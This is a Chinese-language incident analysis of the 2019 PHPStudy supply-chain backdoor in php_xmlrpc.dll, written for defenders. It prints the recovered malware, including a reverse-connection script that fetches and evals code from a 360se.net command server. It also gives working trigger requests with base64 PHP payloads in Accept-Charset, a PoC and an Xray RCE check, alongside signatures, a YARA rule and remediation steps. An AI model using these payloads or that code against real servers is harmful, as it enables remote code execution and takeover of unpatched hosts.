PHPStudy后门事件分析
字数 2259 2025-08-26 22:11:15
PHPStudy后门事件分析报告
事件概述
PHPStudy是一款流行的PHP环境集成程序包,2019年被发现遭遇供应链攻击,程序包自带的PHP模块php_xmlrpc.dll被植入后门。该后门既可作为反向连接木马,也可用于正向执行任意PHP代码。
受影响版本
-
Phpstudy 2016
php\php-5.2.17\ext\php_xmlrpc.dllphp\php-5.4.45\ext\php_xmlrpc.dll
-
Phpstudy 2018
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dllPHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
技术分析
后门功能定位
后门函数地址:0x100031F0
关键特征字符串:@eval(),用于执行PHP代码
攻击触发机制
后门通过HTTP请求头中的Accept-Encoding字段触发,分为两种模式:
1. 正向连接模式
触发条件:Accept-Encoding: gzip,deflate
执行流程:
- 检查全局变量和
HTTP_ACCEPT_ENCODING存在 - 读取
Accept-Charset内容进行base64解码 - 通过
zend_eval_strings()函数执行解码后的PHP代码
示例HTTP请求:
GET /index.php HTTP/1.1
Host: 192.168.221.128
Accept-Encoding: gzip,deflate
Accept-Charset: cHJpbnRmKG1kNSgzMzMpKTs=
2. 反向连接模式
触发条件:Accept-Encoding: compress,gzip
执行流程:
- 检查全局变量和
HTTP_ACCEPT_ENCODING存在 - 拼接恶意代码并调用
gzuncompress解密 - 执行解密后的代码
示例HTTP请求:
GET /index.php HTTP/1.1
Host: 192.168.221.128
Accept-Encoding: compress,gzip
恶意代码分析
反向连接脚本
@ini_set("display_errors","0");
error_reporting(0);
function tcpGet($sendMsg = '', $ip = '360se.net', $port = '20123'){
$result = "";
$handle = stream_socket_client("tcp://{$ip}:{$port}", $errno, $errstr,10);
if( !$handle ){
$handle = fsockopen($ip, intval($port), $errno, $errstr, 5);
if( !$handle ){
return "err";
}
}
fwrite($handle, $sendMsg."\n");
while(!feof($handle)){
stream_set_timeout($handle, 2);
$result .= fread($handle, 1024);
$info = stream_get_meta_data($handle);
if ($info['timed_out']) {
break;
}
}
fclose($handle);
return $result;
}
$ds = array("www","bbs","cms","down","up","file","ftp"); // 域名表
$ps = array("20123","40125","8080","80","53"); // 端口表
$n = false;
do {
$n = false;
foreach ($ds as $d){
$b = false;
foreach ($ps as $p){
$result = tcpGet($i,$d.".360se.net",$p);
if ($result != "err"){
$b =true;
break;
}
}
if ($b)break;
}
$info = explode("<^>",$result);
if (count($info)==4){
if (strpos($info[3],"/*Onemore*/") !== false){
$info[3] = str_replace("/*Onemore*/","",$info[3]);
$n=true;
}
@eval(base64_decode($info[3]));
}
}while($n);
正向连接脚本
@ini_set("display_errors","0");
error_reporting(0);
$h = $_SERVER['HTTP_HOST'];
$p = $_SERVER['SERVER_PORT'];
$fp = fsockopen($h, $p, $errno, $errstr, 5);
if (!$fp) {
} else {
$out = "GET {$_SERVER['SCRIPT_NAME']} HTTP/1.1\r\n";
$out .= "Host: {$h}\r\n";
$out .= "Accept-Encoding: compress,gzip\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
fclose($fp);
}
动态调试方法
- 使用OD(OllyDbg)附加到
httpd.exe进程 - 选择没有命令行参数的
httpd.exe进程 - 在
php_xmlrpc.dll模块中定位后门函数地址0x100031F0 - 使用BurpSuite构造特定
Accept-Encoding的HTTP请求触发断点
漏洞验证
POC构造
GET /index.php HTTP/1.1
Host: 192.168.221.128
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip,deflate
Accept-Charset: cHJpbnRmKG1kNSgzMzMpKTs=
Content-Length: 0
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Payload解释:
Accept-Charset: cHJpbnRmKG1kNSgzMzMpKTs=是printf(md5(333));的base64编码- 预期返回:
310dcbbf4cce62f762a2aaa148d556bd(333的MD5值)
Xray漏洞验证插件
name: poc-yaml-phpstudy-backdoor-rce
rules:
- method: GET
path: /index.php
headers:
Accept-Encoding: 'gzip,deflate'
Accept-Charset: cHJpbnRmKG1kNSg0NTczMTM0NCkpOw==
follow_redirects: false
expression: |
body.bcontains(b'a5952fb670b54572bcec7440a554633e')
detail:
author: 17bdw
Affected Version: "phpstudy 2016-phpstudy 2018 php 5.2 php 5.4"
vuln_url: "php_xmlrpc.dll"
links:
- https://www.freebuf.com/column/214946.html
特征检测
网络特征
- HTTP请求头中包含:
Accept-Encoding:gzip,deflate(注意少一个空格)Accept-Charset:字段为Base64编码
文件特征
-
特征字符串1:
- 十六进制:
25 73 3B 40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B - 对应ASCII:
%s;@eval(%s('%s'));
- 十六进制:
-
特征字符串2:
- 十六进制:
40 65 76 61 6C 28 25 73 28 27 25 73 27 29 29 3B - 对应ASCII:
@eval(%s('%s'));
- 十六进制:
YARA检测规则
rule PhpStudybackdoor
{
meta:
filetype="PhpStudybackdoor"
description="PhpStudybackdoor check"
strings:
$a1 = "@eval(%s('%s'));"
$a2 = "%s;@eval(%s('%s'));"
condition:
any of ($a*)
}
受影响站点
以下站点曾分发受感染的PHPStudy软件:
- http://soft.onlinedown.net/soft/92421.htm
- http://www.opdown.com/soft/16803.html#download
- https://www.cr173.com/soft/433065.html
- http://www.smzy.com/smzy/down319529.html
- https://www.jb51.net/softs/601577.html
- http://www.mycodes.net/16/5051.htm
- http://www.3322.cc/soft/40663.html
- http://www.3h3.com/soft/131645.html
- http://www.downyi.com/downinfo/117446.html
- http://www.pc9.com/pc/info-4030.html
- https://www.newasp.net/soft/75029.html
- http://www.downxia.com/downinfo/153379.html
- https://www.33lc.com/soft/21053.html
- http://www.xfdown.com/soft/11170.html#xzdz
- http://www.wei2008.com/news/news/201817035.html
- http://www.188soft.com/soft/890860.html
防护建议
- 立即检查系统中是否存在受影响版本的PHPStudy
- 替换或删除受感染的
php_xmlrpc.dll文件 - 升级到官方最新版本
- 在网络边界部署检测规则,监控异常HTTP请求头
- 对服务器进行安全加固,限制不必要的网络连接